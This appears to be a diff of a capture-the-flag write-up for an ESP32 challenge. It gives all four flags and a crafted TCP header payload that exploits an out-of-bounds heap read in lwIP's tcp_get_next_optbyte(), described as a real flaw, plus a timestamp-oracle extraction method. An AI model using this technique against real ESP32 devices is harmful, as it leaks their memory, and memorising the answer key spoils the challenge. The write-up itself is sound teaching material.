diff --git a/ESP/Phantom_Byte/README.md b/ESP/Phantom_Byte/README.md index d918bed..44c109b 100644 --- a/ESP/Phantom_Byte/README.md +++ b/ESP/Phantom_Byte/README.md @@ -1,20 +1,75 @@ -# Phantom Byte — Writeup +# Phantom Byte + +| Field | Value | +|-------|-------| +| Category | ESP | +| Difficulty | Multi-part (Easy to Hard) | +| Points | 100 / 200 / 300 / 500 (4 flags) | +| Author | Eun0us | +| CTF | Espilon 2026 | + +--- + +## Description + +An ESP32 device was seized during a raid on an underground hackerspace. +It is a relay node for a mesh network called **"The Wire"**. + +The node's WiFi AP is still broadcasting. A debug probe is exposed on its TCP input path. + +*Peel back the layers. Extract every secret this node is hiding.* + +**WiFi:** `Phantom_Node` / `thewire2026` +**Service:** `tcp://192.168.4.1:1337` + +*"Close this world. Open the nEXt."* + +--- ## TL;DR -4-layer progressive challenge on a real ESP32. Exploit a heap-buffer-overflow -in the device's TCP option parser (based on a real lwIP 0-day). Each layer -teaches a skill leading to the final blind extraction. +Four-layer progressive challenge based on a **real lwIP vulnerability** in +`tcp_get_next_optbyte()`. Layer 1: read base64 from UART boot log. Layer 2: find +a hidden command. Layer 3: heap-leak via crafted TCP option header (trace mode). Layer 4: +blind extraction using the TCP Timestamp option as an oracle. -## Reconnaissance +--- -1. Flash firmware on ESP32, connect UART at 115200 -2. Connect to WiFi AP **Phantom_Node** (password: `thewire2024`) -3. Connect to the debug probe: `nc 192.168.4.1 1337` +## Tools -## Flag 1 — Signal (100pts) +| Tool | Purpose | +|------|---------| +| `esptool.py` | Flash firmware to ESP32 | +| `screen` / `minicom` | Read UART boot log | +| `nc` | Connect to TCP service on port 1337 | +| Python 3 | Automated exploit / solve script | -> *"The node whispers when it wakes."* +--- + +## Flags Summary + +| Flag | Name | Points | Value | +|------|------|--------|-------| +| 1/4 | Signal | 100 | `ESPILON{u4rt_s33s_4ll}` | +| 2/4 | Backdoor | 200 | `ESPILON{h1dd3n_c0nf1g}` | +| 3/4 | Memory Bleed | 300 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` | +| 4/4 | Blind Oracle | 500 | `ESPILON{bl1nd_str4ddl3}` | + +--- + +## Solution + +### Setup + +Flash firmware, connect to WiFi AP `Phantom_Node` / `thewire2024`, then: + +```bash +nc 192.168.4.1 1337 +``` + +--- + +### Flag 1 — Signal (100 pts) Monitor the UART output during boot. Among the diagnostic lines: @@ -26,23 +81,24 @@ Decode the base64: ```bash echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d +# ESPILON{u4rt_s33s_4ll} ``` -Result: `ESPILON{u4rt_s33s_4ll}` +> 📸 `[screenshot: UART terminal showing the base64 diagnostic line on boot]` Submit over TCP: -``` +```text ph> unlock ESPILON{u4rt_s33s_4ll} >> sequence accepted. >> layer 2 unlocked. you're getting closer to the wire. ``` -## Flag 2 — Backdoor (200pts) +--- -> *"Phantom always leaves a way in."* +### Flag 2 — Backdoor (200 pts) -In layer 2, `help` lists the documented commands. But the `mem` output hints: +In layer 2, `help` lists the documented commands. The `mem` output hints: ``` ph> mem @@ -55,46 +111,49 @@ And `info` shows: >> backdoor: [CLASSIFIED] ``` -Try the hidden command `wire`: +The hidden command is `wire`: -``` +```text ph> wire >> accessing the wire... >> config_cache dump: >> ESPILON{h1dd3n_c0nf1g} ``` +> 📸 `[screenshot: wire command revealing the hidden config cache contents]` + Submit: -``` +```text ph> unlock ESPILON{h1dd3n_c0nf1g} >> layer 3 unlocked. careful. the deeper you go, the less you come back. ``` -## Flag 3 — Memory Bleed (300pts) +--- -> *"The parser reads more than it should."* +### Flag 3 — Memory Bleed (300 pts) -In layer 3, enable debug tracing and inject a crafted TCP SYN: +In layer 3, enable debug tracing: -``` +```text ph> trace on >> trace enabled. ``` -Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes): +The vulnerability: `tcp_get_next_optbyte()` uses `doff * 4` as the claimed option +length without checking that it stays within the actual received segment bytes. Build +a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes, 20 more than present): ``` -Byte 12-13: F002 (doff=15, flags=SYN) +Bytes 12-13: F002 (doff=15, flags=SYN) +Full: 053900500000000100000000f002ffff00000000 ``` -Full hex: `053900500000000100000000f002ffff00000000` - -``` +```text ph> inject 053900500000000100000000f002ffff00000000 ``` -The trace output shows each byte read by `tcp_get_next_optbyte`: +The trace output shows each out-of-bounds byte read from the adjacent `config_cache`: ``` [TRACE] tcp_get_next_optbyte: @@ -105,70 +164,49 @@ The trace output shows each byte read by `tcp_get_next_optbyte`: ... ``` -All `<< oob` bytes are reads past the segment into the adjacent config_cache. -Convert hex to ASCII: +Convert the oob bytes to ASCII: `ESPILON{ph4nt0m_byt3_h34p_l34k}` -``` -0x45=E 0x53=S 0x50=P 0x49=I 0x4c=L 0x4f=O 0x4e=N 0x7b={ -0x70=p 0x68=h 0x34=4 0x6e=n 0x74=t 0x30=0 0x6d=m 0x5f=_ -0x62=b 0x79=y 0x74=t 0x33=3 0x5f=_ 0x68=h 0x33=3 0x34=4 -0x70=p 0x5f=_ 0x6c=l 0x33=3 0x34=4 0x6b=k 0x7d=} -``` +> 📸 `[screenshot: trace output showing oob bytes reading the flag from heap]` -Flag: `ESPILON{ph4nt0m_byt3_h34p_l34k}` +--- -## Flag 4 — Blind Oracle (500pts) - -> *"The protocol itself is your oracle."* +### Flag 4 — Blind Oracle (500 pts) Disable trace output — no more per-byte visibility: -``` +```text ph> trace off ``` -The vulnerability still exists, but now the only feedback is the **parsed -option values**. Use the TCP Timestamp option (kind=8, len=10) to straddle -the segment boundary: +The vulnerability still exists, but now the only feedback is the **parsed option +values** emitted as structured output. Use the TCP Timestamp option (kind=8, len=10) +to straddle the segment boundary. The 8 data bytes (TSval + TSecr) are read from OOB +heap memory, but their values are returned as decimal numbers in the response. -**Technique**: Place the Timestamp kind+len as the last 2 in-bounds bytes. -The 8 data bytes (TSval: 4B + TSecr: 4B) are read from OOB heap memory. +**Extraction technique:** -### Extraction +Place the Timestamp kind+len bytes as the last 2 in-bounds bytes. The 8 value bytes +are read from the adjacent flag buffer. -**Chunk 1** (flag bytes 0-7): seg_size=32, doff=10 +- Chunk 1 (bytes 0–7): `>> opt: TS=1163150159/1280267387` + - `1163150159 = 0x45535049` → `ESPI` + - `1280267387 = 0x4C4F4E7B` → `LON{` -``` -ph> inject ->> opt: TS=1163150159/1280267387 -``` +- Chunk 2 (bytes 8–15): decode TSval/TSecr → `bl1n` / `d_st` -Decode: `1163150159` → `0x45535049` → `ESPI`, `1280267387` → `0x4c4f4e7b` → `LON{` - -**Chunk 2** (flag bytes 8-15): seg_size=40, doff=12 - -Decode TSval/TSecr → `bl1n` / `d_st` - -**Chunk 3** (flag bytes 16-22): seg_size=48, doff=14 - -Decode TSval/TSecr → `r4dd` / `l3}\x00` +- Chunk 3 (bytes 16–22): decode TSval/TSecr → `r4dd` / `l3}\x00` Reconstruct: `ESPILON{bl1nd_str4ddl3}` -## Automated Solver +> 📸 `[screenshot: inject command returning TS values that decode to flag bytes]` + +Automated solver: ```bash python3 solve.py 192.168.4.1 1337 ``` -## Flags - -| # | Flag | Points | -|---|------|--------| -| 1 | `ESPILON{u4rt_s33s_4ll}` | 100 | -| 2 | `ESPILON{h1dd3n_c0nf1g}` | 200 | -| 3 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` | 300 | -| 4 | `ESPILON{bl1nd_str4ddl3}` | 500 | +--- ## Real-world Context @@ -176,3 +214,12 @@ This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option index stays within the pbuf's actual payload length. A remote attacker can send a crafted TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory. + +--- + +## Flag + +- Flag 1: `ESPILON{u4rt_s33s_4ll}` +- Flag 2: `ESPILON{h1dd3n_c0nf1g}` +- Flag 3: `ESPILON{ph4nt0m_byt3_h34p_l34k}` +- Flag 4: `ESPILON{bl1nd_str4ddl3}`